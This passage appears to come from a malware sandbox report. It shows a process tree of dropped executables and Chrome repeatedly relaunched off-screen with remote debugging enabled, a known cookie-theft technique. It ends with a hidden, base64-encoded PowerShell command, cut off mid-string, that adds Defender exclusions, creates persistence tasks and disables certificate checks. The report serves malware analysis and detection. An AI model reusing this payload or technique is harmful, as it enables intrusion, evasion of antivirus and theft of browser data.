        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:7644
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:4740
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:7300
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1604,i,16572773456065885341,10912657038678847412,262144 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:2
        5⤵
        
        PID:7984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,4732754790925157410,4507053434153657239,524288 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=1840 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8000
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1956,i,13978318906690346213,6221616303282736804,524288 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:13
        5⤵
        
        PID:7956
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2864,i,5196830322578185137,15756844284487073329,2097152 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:8084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2888,i,2869821262172443679,1708783903687328631,2097152 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:8088
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4204,i,12820333446433604319,14225002554859318839,524288 --field-trial-handle=2420,i,10008533318897652092,1185713847472519666,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:14
        5⤵
        
        PID:4852
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:7584
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:4012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x100,0x138,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:7560
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6180
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7308
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:1148
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,8230778517800801186,13433761176795602740,262144 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:2
        5⤵
        
        PID:260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,14660875542193551884,12969428963073835050,524288 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3212
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2076,i,9447151374263457706,8001602914348102788,524288 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:13
        5⤵
        
        PID:4852
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2936,i,14124201871027841455,8596226678630520171,2097152 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7472
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2960,i,905060930108805960,9076693082908866781,2097152 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
        5⤵
        
        PID:1864
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4132,i,14061811364614282070,15785880022205568508,524288 --field-trial-handle=2004,i,4419262434631203700,3921707380050655672,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:14
        5⤵
        
        PID:8076
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:7396
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7808
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x128,0x12c,0x10c,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:7804
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:6604
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:5844
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,16586044266501310353,7939823698776909405,262144 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:2
        5⤵
        
        PID:7936
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,3083753337113751654,12574350073962643179,524288 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:7900
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,10611680728245762966,1519629636135934344,524288 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
        5⤵
        
        PID:7732
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2860,i,12800393252050846832,10522542461075051370,2097152 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5664
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2872,i,10811173792981603385,7906541298295742437,2097152 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:1
        5⤵
        
        PID:7152
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4052,i,16725165241882098973,4758389841794467933,524288 --field-trial-handle=2432,i,3997548556714838705,9681856766908009433,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:14
        5⤵
        
        PID:7552
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:8160
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:712
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1204
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:3080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff80808c728,0x7ff80808c734,0x7ff80808c740
        5⤵
        
        PID:1832
- C:\Users\Admin\AppData\Local\Temp\Files\CG100.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CG100.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:260
- C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\crypted_c360a5b7.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4612
- C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5124
- C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Users\Admin\AppData\Local\e865e8c3-51cc-4296-ab27-410db4380b19\background.exe
    "C:\Users\Admin\AppData\Local\e865e8c3-51cc-4296-ab27-410db4380b19\background.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:6632
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQA